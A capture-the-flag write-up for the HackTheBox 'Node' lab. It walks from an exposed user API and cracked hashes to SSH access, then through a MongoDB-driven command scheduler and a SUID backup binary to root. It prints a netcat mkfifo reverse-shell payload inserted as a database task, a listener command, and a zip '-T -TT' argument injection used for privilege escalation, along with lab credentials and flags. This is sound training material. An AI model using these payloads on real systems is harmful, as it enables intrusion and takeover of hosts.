HackTheBox | Node

HackTheBox | Node

8 months ago   •   11 min read

By 0xBEN
Table of contents

Nmap Results

# Nmap 7.93 scan initiated Thu Apr  6 14:46:30 2023 as: nmap -Pn -p- --min-rate 10000 -A -oN scan.txt 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.013s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
|   256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_  256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
|_http-title: MyPlace
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   11.59 ms 10.10.14.1
2   11.65 ms 10.10.10.58

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr  6 14:47:11 2023 -- 1 IP address (1 host up) scanned in 41.73 seconds





Service Enumeration

TCP/3000

Initial Enumeration

Looking at the page source code, there are some interesting-looking scripts being loaded.

	<script type="text/javascript" src="assets/js/app/app.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>

And, they all appear to be readable. Let's see if they reveal any application logic.

var controllers = angular.module('controllers');

controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
  $scope.backup = function () {
    $window.open('/api/admin/backup', '_self');
  }

  $http.get('/api/session')
    .then(function (res) {
      if (res.data.authenticated) {
        $scope.user = res.data.user;
      }
      else {
        $location.path('/login');
      }
    });
});
admin.js
var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});
profile.js

These scripts do reveal some API endpoints, which is interesting.





Testing the API

I can make an unauthenticated HTTP GET request to the /api/users endpoint and it reveals some juicy details.





Cracking the Hashes

I paste the hashes into CrackStation and to my surprise, we have several matches — including the admin account!





Login as Admin

Let's download the backup and see what we can find inside.





Analyzing the Backup

It's just an enormous base64-encoded mess
Base64-encoded ZIP archive
Using the headers from the ZIP file create a hash and try to crack
Provide the password when prompted



Interesting Files

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
./var/www/myplace/app.js

mark:5AYRft73VtFpc84k could be possibly re-used as a system user.





Exploit

The developer of the MYPLACE application made a few mistakes while publishing this application:

  1. Allowed unauthenticated access to the /api/users endpoint and/or did not reduce the amount of information this API discloses to the user
  2. Used an unfortunately weak password for the administrative user, the hash of which had been previously cracked and cached in a publicly available database

This allowed me to download a backup of the entire source code of the application, which included a password embedded in a MongoDB connection string. This password is reused as the user account, which facilitated SSH access.

Using unique passwords and protecting APIs will resolve these issues.

ssh mark@10.10.10.58
Enter the password discovered in the MongoDB connection string



Fix History and Command Recall

After connecting via SSH, run /bin/bash to enable history and command recall with the up arrow key.





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1001(mark) gid=1001(mark) groups=1001(mark)

Sorry, user mark may not run sudo on node.



Users and Groups

Local Users

tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
mark:x:1001:1001:Mark,,,:/home/mark:/bin/bash

Local Groups

adm:x:4:syslog,tom
cdrom:x:24:tom
sudo:x:27:tom
dip:x:30:tom
plugdev:x:46:tom
tom:x:1000:
lpadmin:x:115:tom
sambashare:x:116:tom
admin:x:1002:tom,root

mark:x:1001:



Network Configurations

Interfaces

ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:49:6b brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.58/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feb9:496b/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN



Processes and Services

Interesting Processes

tom       1237  0.0  6.3 1024684 48480 ?       Ssl  19:46   0:02 /usr/bin/node /var/www/myplace/app.js
tom       1241  0.0  5.7 1008568 43952 ?       Ssl  19:46   0:01 /usr/bin/node /var/scheduler/app.js

Interesting Services

mongodb.service                 loaded active running High-performance, schema-free document-oriented database
myplace.service                 loaded active running The most secure social network on the web



Interesting Files

/usr/local/bin/backup


I checked for any SUID files during enumeration and this file stood out to me as odd.

find / -type f -user root -perm /4000 -exec ls -l {} \; 2>/dev/null

-rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup

file /usr/local/bin/backup 
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped    

strings /usr/local/bin/backup 

 %s[+]%s %s
 %s[+]%s Starting archiving %s
             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
Could not open file
Validated access token
Ah-ah-ah! You didn't say the magic word!
Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
The target path doesn't exist    





Privilege Escalation

Analyzing the SUID Binary

Decoding the Base64 Data

During my enumeration, I came across the file /usr/local/bin/backup with the SUID bet set on it. So, I started analyzing the file in my SSH shell.

Decode the base64 payload, output to a file, and analyze the resulting file

Looks like the base64-encoded binary data results in a ZIP archive. I try to unzip it, but get an exception.

Googling the message, need PK compat. seems to suggest that 7zip could be used to expand the archive. I'll copy the file to my Kali box for analysis.

I tried using unzip on Kali on got the same exception. I'll try 7z and see how I fair.

We know the password is magicword because it's visible in the strings output from my initial analysis.





More String Analysis

The other aspects of the strings output are peculiar. We'll have to try running the application to get a sense of how it behaves with /root and /etc. The /tmp/.backup_%i string makes me think we might get script execution with something like /tmp/.backup_script.sh — which I think is the source of error, The target path doesn't exist.

However, the user mark won't be able to run the program. We need to be either root or in the admin group. And, looking at my enumeration of the groups, only tom or root are in that group.





Analyzing MongoDB

Looking at the processes I enumerated before, I see that the user account, tom is running two node processes. The scheduler process is particularly interesting, cause when you look at the JavaScript file, you can see that we're going to get command execution.

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});
/var/scheduler/app.js

This script is reading the scheduler database, loading the tasks collection, and running the cmd property of each JSON document in the collection.

Let's see if we can connect to the scheduler database as mark.

There aren't any tasks in the collection, which makes sense, because the script deletes tasks after loading them. Let's try and achieve command execution.

db.tasks.insertOne({_id: "pwnz", cmd: "echo 'pwned' > /tmp/pwnz"})
Insert a command document into the collection
ℹī¸
The _id property is optional. A randomly generated ID will be added if not specified.

If the command is executed, we should see the file /tmp/pwnz with the word pwned inside.

Very nice!





Lateral Pivot to Tom

sudo rlwrap nc -lnvp 443
Start a TCP Listener
db.tasks.insertOne({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 443 >/tmp/f"})
TCP callback to our listener

Be sure to update your payload with the right IP and port. The scheduler script should run every 30 seconds, so be patient.



Stabilize Your Shell

python -c "import pty; pty.spawn('/bin/bash')"
export TERM=linux





From Tom to Root

Dynamic Binary Analysis

Coming back now to /usr/local/bin/backup, I took another look at the strings output.

It seems like the program takes three arguments: %s %s %s.

Let's trace the program as it runs.

ltrace backup 1 2 3

fopen("/etc/myplace/keys", "r")
This is an interesting bit in the output
I wonder if these are the three arguments required
backup key1 key2 key3

If we run another trace on the program while passing in the keys, we can see the /tmp/.backup_i% path filled out.

access("/tmp/.backup_231117398", 0)
The '%i' placeholder seems to be randomly generated every time the program is run.

When looking at the strcmp calls, we can see the program doing the following:

  • argv[0] == -q?
  • argv[1] in /etc/myplace/keys? (valid key check)
  • argv[1] == ""? (throw wrong password error)
  • argv[2] == /? (my guess is invalid path)

One pattern I started noticing when passing in paths, is that it consistently returned the base64 payload if I specified absolute paths of /root or /etc:

UEsDBBQACQAIACl+I0tEby654QEAAKYEAAAGABwAc2hhZG93VVQJAANuFqxZy08vZHV4CwABBAAAAAAEKgAAAHNefLjflWuO43Svm9dmmcDn+r2ddDppqmyxCKD8ZkONg3j/JOdnAf5Cg9eszp1qT3Pyu2+MFIiHjVng8DqOaZo7i3q5sAvHqS8ssMFgOrXglV9GVppJod+PQPTOtkQpM4Yfv99SrVZasgKujff0kYQVzP8RaWVtL+ZIAvVMzEeVFZ22z58Czj1p6bBOna0mxUoMFiiRVf6ybHGe3MOdNPsEw8SYk5A8kCo2uFw0oCOdbLVMy5WEBjVw1VuxXyYkN2qlNuKKOZwRlpzgjJXFsdkGlhNWUJKeYVksGsrvkugj4Dn15ShhoHz23qn25zd9GegJI0b7Aaouefxfz4h8zt/zfNkYM256wUFLVObXftMzRfcgh9Gi7sGIlnKhqO4vyyd2oDH89XQwqZvpdZkRt7/ZjfZjzRUW/D6/1lw6Zoj+QYq8Rn6M7uj3hzeF0YpaJ1xnpbkupjvNdqaixduBzcQOKTldjV1wPVpJwqOc63FIZPchfdA5nsgFOQGT7W3rE6dGdzeGu+HUwY+3MZFxjEyRdeIjr25v1U+cqFQ3GKfThlcHmUC6h5WAmjii3DGhGVwtnQPde7AIEAYI83sv0VsGsECrZZNTR6phtt5EREoiTzT0FFwQi69Epccs1uZW51lQSwcIRG8uueEBAACmBAAAUEsBAh4DFAAJAAgAKX4jS0RvLrnhAQAApgQAAAYAGAAAAAAAAQAAAKCBAAAAAHNoYWRvd1VUBQADbhasWXV4CwABBAAAAAAEKgAAAFBLBQYAAAAAAQABAEwAAAAxAgAAAAA=

This is the payload that I first analyzed when running the strings command. And then, I realized that the troll ASCII art was hard-coded into the program. So, as far as I've tested, absolute paths in these directories will throw the troll:

  • /root/*
  • /etc/*
  • /





Abusing the Program Dependencies

One thing that stuck out at me is the program runs zip directly on the user-passed string without any sanitization or validation.

zip | GTFOBins

I should be able to pass a string into the application and it will be appended to the zip command:

# This...
/usr/bin/zip -r -P magicword %s %s > /dev/null

# Becomes this...
/usr/bin/zip -r -P magicword <my-string-here> %s > /dev/null

Let's give it a shot with something like the example give in GTFOBins.

/usr/local/bin/backup -q 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 "/home/tom/user.txt -T -TT 'bash #'"
Using user.txt as it is a small file and won't cause the program to hang

This causes the program to run:

/usr/bin/zip -r -P magicword /home/tom/user.txt -T -TT 'bash #' %s

Looking at man zip:

-T
--test
Test the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with
the -m option) no input files are removed.

-TT cmd
--unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.  On Unix, to
use a copy of unzip in the current directory instead of the standard system unzip, could use:

zip archive file1 file2 -T -TT "./unzip -tqq"

In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the  archive  is
appended to the end of the command.  The return code is checked for success (0 on Unix)

The only problem with this shell is that I don't have any output. But, I can confirm I have a shell by creating a file:





Flags

User

742bde39bcc048ee7ed6a33c3c3ddada

Root

001bab67a97c684b53d72085c3ca9dff

Spread the word

Keep reading